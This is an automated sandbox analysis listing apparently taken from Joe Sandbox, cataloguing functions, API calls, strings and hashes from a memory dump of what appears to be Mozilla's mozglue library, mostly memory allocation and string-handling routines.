NtUnmapViewOfSection, xrefs: 6C9C7621

Memory Dump Source

Source File: 00000000.00000002.2800585334.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2800553760.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800681911.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800717942.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800752274.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: NtUnmapViewOfSection$ntdll.dll
API String ID: 145871493-1050664331
Opcode ID: 418749abab88748420c6ea846e4475d8778ad8ccb98e2f17ae3eba547ca934b8
Instruction ID: 90c9da93e34062458f3bd1e676f4c0d51248532629542b4a153c8d366ec1daec
Opcode Fuzzy Hash: 418749abab88748420c6ea846e4475d8778ad8ccb98e2f17ae3eba547ca934b8
Instruction Fuzzy Hash: D4E04FB03093009BEF805FA7E8087013AB8EF7E75CF20401AE904C1701D772C0048F5A

Function 6C9CBE50 Relevance: 7.7, APIs: 5, Instructions: 163memoryCOMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,00000000,?,?,6C9CBE49), ref: 6C9CBEC4
RtlCaptureStackBackTrace.NTDLL ref: 6C9CBEDE
memset.VCRUNTIME140(00000000,00000000,-00000008,?,6C9CBE49), ref: 6C9CBF38
RtlReAllocateHeap.NTDLL ref: 6C9CBF83
RtlFreeHeap.NTDLL ref: 6C9CBFA6

Memory Dump Source

Source File: 00000000.00000002.2800585334.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2800553760.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800681911.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800717942.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800752274.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: Heapmemset$AllocateBackCaptureFreeStackTrace
String ID:
API String ID: 2764315370-0
Opcode ID: 68f51ba09ff7491461a0bf7c47db13069a798e283164e3a5b0dd8d84e9360002
Instruction ID: c94d7027fb18e47adff1cc8c2ed3a31a0e48188dade373cecd5c82c7cedae1ff
Opcode Fuzzy Hash: 68f51ba09ff7491461a0bf7c47db13069a798e283164e3a5b0dd8d84e9360002
Instruction Fuzzy Hash: DB51AE71B002058FE710DF69C980BAAB7B6FF98314F298629D515A7B94D730F9168F82

Function 6C9B8E00 Relevance: 7.6, APIs: 6, Instructions: 147COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001,?,?,6C9AB58D,?,?,?,?,?,?,?,6C9DD734,?,?,?,6C9DD734), ref: 6C9B8E6E
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,?,6C9AB58D,?,?,?,?,?,?,?,6C9DD734,?,?,?,6C9DD734), ref: 6C9B8EBF
free.MOZGLUE(?,?,?,?,6C9AB58D,?,?,?,?,?,?,?,6C9DD734,?,?,?), ref: 6C9B8F24
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,?,6C9AB58D,?,?,?,?,?,?,?,6C9DD734,?,?,?,6C9DD734), ref: 6C9B8F46
free.MOZGLUE(?,?,?,?,6C9AB58D,?,?,?,?,?,?,?,6C9DD734,?,?,?), ref: 6C9B8F7A
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,6C9AB58D,?,?,?,?,?,?,?,6C9DD734,?,?,?), ref: 6C9B8F8F

Memory Dump Source

Source File: 00000000.00000002.2800585334.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2800553760.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800681911.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800717942.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800752274.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: ce01fb82a7935a1c469e9293dcdf255e775d537d0de981acdcc31d044a615a78
Instruction ID: 997c988fef9c425fc9a14a26dce0d82a55aca5fa4cc0e4d16343e4976a249008
Opcode Fuzzy Hash: ce01fb82a7935a1c469e9293dcdf255e775d537d0de981acdcc31d044a615a78
Instruction Fuzzy Hash: 9C519DB1A012179FEB18CF64D8806AF77B6AF48308F25052AD916BB740E731E915CBA5

Function 6C9760E0 Relevance: 7.6, APIs: 6, Instructions: 141COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,00000000,?,6C975FDE,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C9760F4
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,00000000,?,6C975FDE,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C976180
free.MOZGLUE(?,?,?,?,6C975FDE,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6C976211
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,00000000,?,6C975FDE,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C976229
free.MOZGLUE(?,?,?,?,6C975FDE,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6C97625E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,6C975FDE,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6C976271

Memory Dump Source

Source File: 00000000.00000002.2800585334.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2800553760.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800681911.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800717942.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800752274.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: b88ae09da805f42bba156cad7b2e25d7b7fb03d3514b05556760989bc4d1c2f5
Instruction ID: 8e770e660e1bb8a2286f818cda1fa22e4efa62bf2526dc4db1f2d203c69ee70f
Opcode Fuzzy Hash: b88ae09da805f42bba156cad7b2e25d7b7fb03d3514b05556760989bc4d1c2f5
Instruction Fuzzy Hash: 5851AFB1A062078FEB64CF68D8847AEB7B5EF55308F200439C656D7B11E731EA58CB61

Function 6C9B27E0 Relevance: 7.6, APIs: 6, Instructions: 136COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001,?,6C9B2620,?,?,?,6C9A60AA,6C9A5FCB,6C9A79A3), ref: 6C9B284D
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6C9B2620,?,?,?,6C9A60AA,6C9A5FCB,6C9A79A3), ref: 6C9B289A
free.MOZGLUE(?,?,?,6C9B2620,?,?,?,6C9A60AA,6C9A5FCB,6C9A79A3), ref: 6C9B28F1
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6C9B2620,?,?,?,6C9A60AA,6C9A5FCB,6C9A79A3), ref: 6C9B2910
free.MOZGLUE(00000001,?,?,6C9B2620,?,?,?,6C9A60AA,6C9A5FCB,6C9A79A3), ref: 6C9B293C
free.API-MS-WIN-CRT-HEAP-L1-1-0(00200000,?,?,6C9B2620,?,?,?,6C9A60AA,6C9A5FCB,6C9A79A3), ref: 6C9B294E

Memory Dump Source

Source File: 00000000.00000002.2800585334.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2800553760.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800681911.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800717942.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800752274.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: c34cb5a894b9a67dd1968f93d54790a4a6e4ac3e9d5011dd3a55dcc48a6ec919
Instruction ID: aefe4406774c7c74236b563b2abb29ad46d52638af37982b7f9776e172ef4c2e
Opcode Fuzzy Hash: c34cb5a894b9a67dd1968f93d54790a4a6e4ac3e9d5011dd3a55dcc48a6ec919
Instruction Fuzzy Hash: 8541C0B1A046069FEB14CF68D98476B77FAEF45308F240939D56AEB740E731E904CBA1

Function 6C96CFE0 Relevance: 7.6, APIs: 4, Strings: 1, Instructions: 134memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C9EE784), ref: 6C96CFF6
LeaveCriticalSection.KERNEL32(6C9EE784), ref: 6C96D026
VirtualAlloc.KERNEL32(00000000,00100000,00001000,00000004), ref: 6C96D06C
VirtualFree.KERNEL32(00000000,00100000,00004000), ref: 6C96D139

Strings

MOZ_CRASH(), xrefs: 6C96D187

Memory Dump Source

Source File: 00000000.00000002.2800585334.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2800553760.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800681911.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800717942.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800752274.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: CriticalSectionVirtual$AllocEnterFreeLeave
String ID: MOZ_CRASH()
API String ID: 1090480015-2608361144
Opcode ID: 97cfd38d9f73e9feb3087f8a9428780c2868546f2e60a5c3514d10e730178775
Instruction ID: b827a1aab447cafece951804a28b06dd9090a023e854f25fb6b002e3cd707054
Opcode Fuzzy Hash: 97cfd38d9f73e9feb3087f8a9428780c2868546f2e60a5c3514d10e730178775
Instruction Fuzzy Hash: 2F41C032B053168FDB548E6E8D9036A36B4EF6DB14F350139E968E7BC4D7A298008BC4

Function 6C964DE0 Relevance: 7.6, APIs: 5, Instructions: 133stringCOMMON

Download Yara Rule

APIs

?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C964E5A
?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6C964E97
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C964EE9
memcpy.VCRUNTIME140(?,?,00000000), ref: 6C964F02
?CreateExponentialRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?), ref: 6C964F1E

Memory Dump Source

Source File: 00000000.00000002.2800585334.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2800553760.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800681911.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800717942.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800752274.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Builder@2@@CreateRepresentation@$Ascii@DecimalDtoaExponentialMode@12@memcpystrlen
String ID:
API String ID: 713647276-0
Opcode ID: 745385378f90920dbf91c1a62db068cc0e8b6bd95d8ea0245158b7e5d15da9a1
Instruction ID: a09de3c7e85f01e70f78299b8c8b463ee06a279a972c51574fa6993e6aa33c9c
Opcode Fuzzy Hash: 745385378f90920dbf91c1a62db068cc0e8b6bd95d8ea0245158b7e5d15da9a1
Instruction Fuzzy Hash: 3641BF71608701DFD705CFAAC49095BB7E8BF99344F108A2DF46597B81DB30E958CB92

Function 6C971530 Relevance: 7.6, APIs: 5, Instructions: 98COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(-00000002,?,6C97152B,?,?,?,?,6C971248,?), ref: 6C97159C
memcpy.VCRUNTIME140(00000023,?,?,?,?,6C97152B,?,?,?,?,6C971248,?), ref: 6C9715BC
moz_xmalloc.MOZGLUE(-00000001,?,6C97152B,?,?,?,?,6C971248,?), ref: 6C9715E7
free.MOZGLUE(?,?,?,?,?,?,6C97152B,?,?,?,?,6C971248,?), ref: 6C971606
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,6C97152B,?,?,?,?,6C971248,?), ref: 6C971637

Memory Dump Source

Source File: 00000000.00000002.2800585334.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2800553760.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800681911.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800717942.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800752274.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: moz_xmalloc$_invalid_parameter_noinfo_noreturnfreememcpy
String ID:
API String ID: 733145618-0
Opcode ID: 5e294355a2d66e555a507a94e19bcac8503998dc2067d7fe8ff026e608bffb69
Instruction ID: a0785a1095495bd582060f3a2fa357e1915c2affc6771ed56e9ef618b47b6764
Opcode Fuzzy Hash: 5e294355a2d66e555a507a94e19bcac8503998dc2067d7fe8ff026e608bffb69
Instruction Fuzzy Hash: 44310872A011058BCB2C8E78D86147E77B9BB923647350B2DE427DBBD4EB30D90487A1

Function 6C9CAD70 Relevance: 7.6, APIs: 5, Instructions: 93COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000000,?,00000000,?,?,6C9DE330,?,6C98C059), ref: 6C9CAD9D

Part of subcall function 6C97CA10: malloc.MOZGLUE(?), ref: 6C97CA26

memset.VCRUNTIME140(00000000,00000000,00000000,00000000,?,?,6C9DE330,?,6C98C059), ref: 6C9CADAC
free.MOZGLUE(?,?,?,?,00000000,?,?,6C9DE330,?,6C98C059), ref: 6C9CAE01
GetLastError.KERNEL32(?,00000000,?,?,6C9DE330,?,6C98C059), ref: 6C9CAE1D
GetLastError.KERNEL32(?,00000000,00000000,00000000,?,?,?,00000000,?,?,6C9DE330,?,6C98C059), ref: 6C9CAE3D

Memory Dump Source

Source File: 00000000.00000002.2800585334.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2800553760.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800681911.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800717942.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800752274.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: ErrorLast$freemallocmemsetmoz_xmalloc
String ID:
API String ID: 3161513745-0
Opcode ID: c8f8952525acbdf5ec049495edde3a86382c7930065437aa7b6a53a211bd6dae
Instruction ID: 8d238e5c3d009862783805b174708fe9cf32d3a4f99a8e378c258a7e5e44e6cd
Opcode Fuzzy Hash: c8f8952525acbdf5ec049495edde3a86382c7930065437aa7b6a53a211bd6dae
Instruction Fuzzy Hash: D23141B1A012159FDB50DF758D44AABB7F8EF58614F15882DE84AE7700EB34E804CBE1

Function 6C9C5EF0 Relevance: 7.6, APIs: 5, Instructions: 89COMMON

Download Yara Rule

APIs

?_Ipfx@?$basic_istream@DU?$char_traits@D@std@@@std@@QAE_N_N@Z.MSVCP140(00000001,00000000,6C9DDCA0,?,?,?,6C99E8B5,00000000), ref: 6C9C5F1F
?sgetc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(?,6C99E8B5,00000000), ref: 6C9C5F4B
?snextc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(00000000,?,6C99E8B5,00000000), ref: 6C9C5F7B
?clear@?$basic_ios@DU?$char_traits@D@std@@@std@@QAEXH_N@Z.MSVCP140(6E65475B,00000000,?,6C99E8B5,00000000), ref: 6C9C5F9F
?sbumpc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(?,6C99E8B5,00000000), ref: 6C9C5FD6

Memory Dump Source

Source File: 00000000.00000002.2800585334.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2800553760.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800681911.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800717942.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800752274.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: D@std@@@std@@U?$char_traits@$?clear@?$basic_ios@?sbumpc@?$basic_streambuf@?sgetc@?$basic_streambuf@?snextc@?$basic_streambuf@Ipfx@?$basic_istream@
String ID:
API String ID: 1389714915-0
Opcode ID: d66362db589873d54aeeeb43c45e9493e9b6d1e38b31716bdee07e0a57416776
Instruction ID: f9a414590b26973a5c6b41311ddc472288af0665b7a483b6a58faf607ac434de
Opcode Fuzzy Hash: d66362db589873d54aeeeb43c45e9493e9b6d1e38b31716bdee07e0a57416776
Instruction Fuzzy Hash: E03138343046008FD724CF29C898F2AB7F9FF99318BA48558E5668BB95C731EC51CB82

Function 6C96B4C0 Relevance: 7.6, APIs: 5, Instructions: 84COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000), ref: 6C96B532
moz_xmalloc.MOZGLUE(?), ref: 6C96B55B
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C96B56B
wcsncpy_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?), ref: 6C96B57E
free.MOZGLUE(00000000), ref: 6C96B58F

Memory Dump Source

Source File: 00000000.00000002.2800585334.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2800553760.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800681911.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800717942.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800752274.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: HandleModulefreememsetmoz_xmallocwcsncpy_s
String ID:
API String ID: 4244350000-0
Opcode ID: c11e3f7289597cbcc5e0bd36536f0288c6905140716c5237bf3c5d2e4a72c91b
Instruction ID: 9676f5cb0f075f62f2fbce5dfb6d78c64c86fa631dfeadf3c0c4aecc2c99451f
Opcode Fuzzy Hash: c11e3f7289597cbcc5e0bd36536f0288c6905140716c5237bf3c5d2e4a72c91b
Instruction Fuzzy Hash: 9821F671A042059BEB008F69CC40BAABBB9FF95304F284029F918DB781F735D911D7A0

Function 6C96B7A0 Relevance: 7.6, APIs: 5, Instructions: 77COMMON

Download Yara Rule

APIs

?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z.MOZGLUE(?,?), ref: 6C96B7CF
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?), ref: 6C96B808
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?), ref: 6C96B82C
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C96B840
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C96B849

Memory Dump Source

Source File: 00000000.00000002.2800585334.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2800553760.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800681911.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800717942.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800752274.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: free$?vprint@PrintfTarget@mozilla@@mallocmemcpy
String ID:
API String ID: 1977084945-0
Opcode ID: 38696a40bf363a12f01caf95f3a4597e19d2617e6179f54d41b869e98a775811
Instruction ID: f04d3f227f4fdd24db87a901b461dade1ad1ea0155ef6e00bc8cb938877be69d
Opcode Fuzzy Hash: 38696a40bf363a12f01caf95f3a4597e19d2617e6179f54d41b869e98a775811
Instruction Fuzzy Hash: 3F215AB0E04209DFEF04DFA9C8855BEBBB8EF59314F148169EC45A7740E731A944CBA0

Function 6C9C6E50 Relevance: 7.6, APIs: 5, Instructions: 72COMMON

Download Yara Rule

APIs

MozDescribeCodeAddress.MOZGLUE(?,?), ref: 6C9C6E78

Part of subcall function 6C9C6A10: InitializeCriticalSection.KERNEL32(6C9EF618), ref: 6C9C6A68
Part of subcall function 6C9C6A10: GetCurrentProcess.KERNEL32 ref: 6C9C6A7D
Part of subcall function 6C9C6A10: GetCurrentProcess.KERNEL32 ref: 6C9C6AA1
Part of subcall function 6C9C6A10: EnterCriticalSection.KERNEL32(6C9EF618), ref: 6C9C6AAE
Part of subcall function 6C9C6A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100), ref: 6C9C6AE1
Part of subcall function 6C9C6A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100), ref: 6C9C6B15
Part of subcall function 6C9C6A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100,?,?), ref: 6C9C6B65
Part of subcall function 6C9C6A10: LeaveCriticalSection.KERNEL32(6C9EF618,?,?), ref: 6C9C6B83

MozFormatCodeAddress.MOZGLUE ref: 6C9C6EC1
fflush.API-MS-WIN-CRT-STDIO-L1-1-0(?), ref: 6C9C6EE1
_fileno.API-MS-WIN-CRT-STDIO-L1-1-0(?), ref: 6C9C6EED
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000400), ref: 6C9C6EFF

Memory Dump Source

Source File: 00000000.00000002.2800585334.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2800553760.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800681911.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800717942.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800752274.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: CriticalSectionstrncpy$AddressCodeCurrentProcess$DescribeEnterFormatInitializeLeave_fileno_writefflush
String ID:
API String ID: 4058739482-0
Opcode ID: f283a17b2233ecdbf812ba55fb5281c06d006ac7248655bfb3534f889911fc7e
Instruction ID: 9a514d0739917882f9128245c3c7b55b6cc8dcf3d83f7db51e57820c8a551ee8
Opcode Fuzzy Hash: f283a17b2233ecdbf812ba55fb5281c06d006ac7248655bfb3534f889911fc7e
Instruction Fuzzy Hash: 9E21B071A0831A9FCB10CF29D8856AA77F8EF98308F044439E80997241EB709A58CF92

Function 6C9C76C0 Relevance: 7.6, APIs: 5, Instructions: 64COMMON

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32 ref: 6C9C76F2
moz_xmalloc.MOZGLUE(00000001), ref: 6C9C7705

Part of subcall function 6C97CA10: malloc.MOZGLUE(?), ref: 6C97CA26

memset.VCRUNTIME140(00000000,00000000,00000001), ref: 6C9C7717
WideCharToMultiByte.KERNEL32(0000FDE9,00000000,?,6C9C778F,00000000,00000000,00000000,00000000), ref: 6C9C7731
free.MOZGLUE(00000000), ref: 6C9C7760

Memory Dump Source

Source File: 00000000.00000002.2800585334.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2800553760.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800681911.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800717942.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800752274.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: ByteCharMultiWide$freemallocmemsetmoz_xmalloc
String ID:
API String ID: 2538299546-0
Opcode ID: b1eaf56e250ac82d37b772605de671da192c71eaeb671a7cd84be5c975e220eb
Instruction ID: d52661ecbf95237a25dd3d29943d3910ed5ab990e227816723e57f206e13585f
Opcode Fuzzy Hash: b1eaf56e250ac82d37b772605de671da192c71eaeb671a7cd84be5c975e220eb
Instruction Fuzzy Hash: 621190B1A052156BE710AF668C44AABBEF8EF55654F144829E848A7200E77098548BF2

Function 6C9A0D60 Relevance: 7.5, APIs: 3, Strings: 2, Instructions: 41memoryCOMMON

Download Yara Rule

APIs

VirtualFree.KERNEL32(?,00000000,00008000,00003000,00003000,?,6C963DEF), ref: 6C9A0D71
VirtualAlloc.KERNEL32(?,08000000,00003000,00000004,?,6C963DEF), ref: 6C9A0D84
VirtualFree.KERNEL32(00000000,00000000,00008000,?,6C963DEF), ref: 6C9A0DAF

Strings

<jemalloc>, xrefs: 6C9A0D92, 6C9A0DB9
: (malloc) Error in VirtualFree(), xrefs: 6C9A0D97, 6C9A0DBE

Memory Dump Source

Source File: 00000000.00000002.2800585334.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2800553760.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800681911.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800717942.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800752274.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: Virtual$Free$Alloc
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 1852963964-2186867486
Opcode ID: 13d0055dd888e41ae2e57a661cbe92771d323b042da8a43052cf6b1aec567cb6
Instruction ID: d982ac9fb48c8b7aeabaa9a5a8c4f6cee19f3b4e79d3bbace27396da2ed3256f
Opcode Fuzzy Hash: 13d0055dd888e41ae2e57a661cbe92771d323b042da8a43052cf6b1aec567cb6
Instruction Fuzzy Hash: 78F02E3238439423E72522E61C0AF5A366D6FD6F64F305035F206DEDC0DA54E8064AA8

Function 6C9B7620 Relevance: 7.5, APIs: 5, Instructions: 35threadCOMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(0000002C,?,?,?,?,6C9B75C4,?), ref: 6C9B762B

Part of subcall function 6C97CA10: malloc.MOZGLUE(?), ref: 6C97CA26

InitializeConditionVariable.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,6C9B74D7,6C9C15FC,?,?,?), ref: 6C9B7644
GetCurrentThreadId.KERNEL32 ref: 6C9B765A
AcquireSRWLockExclusive.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,6C9B74D7,6C9C15FC,?,?,?), ref: 6C9B7663
ReleaseSRWLockExclusive.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,6C9B74D7,6C9C15FC,?,?,?), ref: 6C9B7677

Memory Dump Source

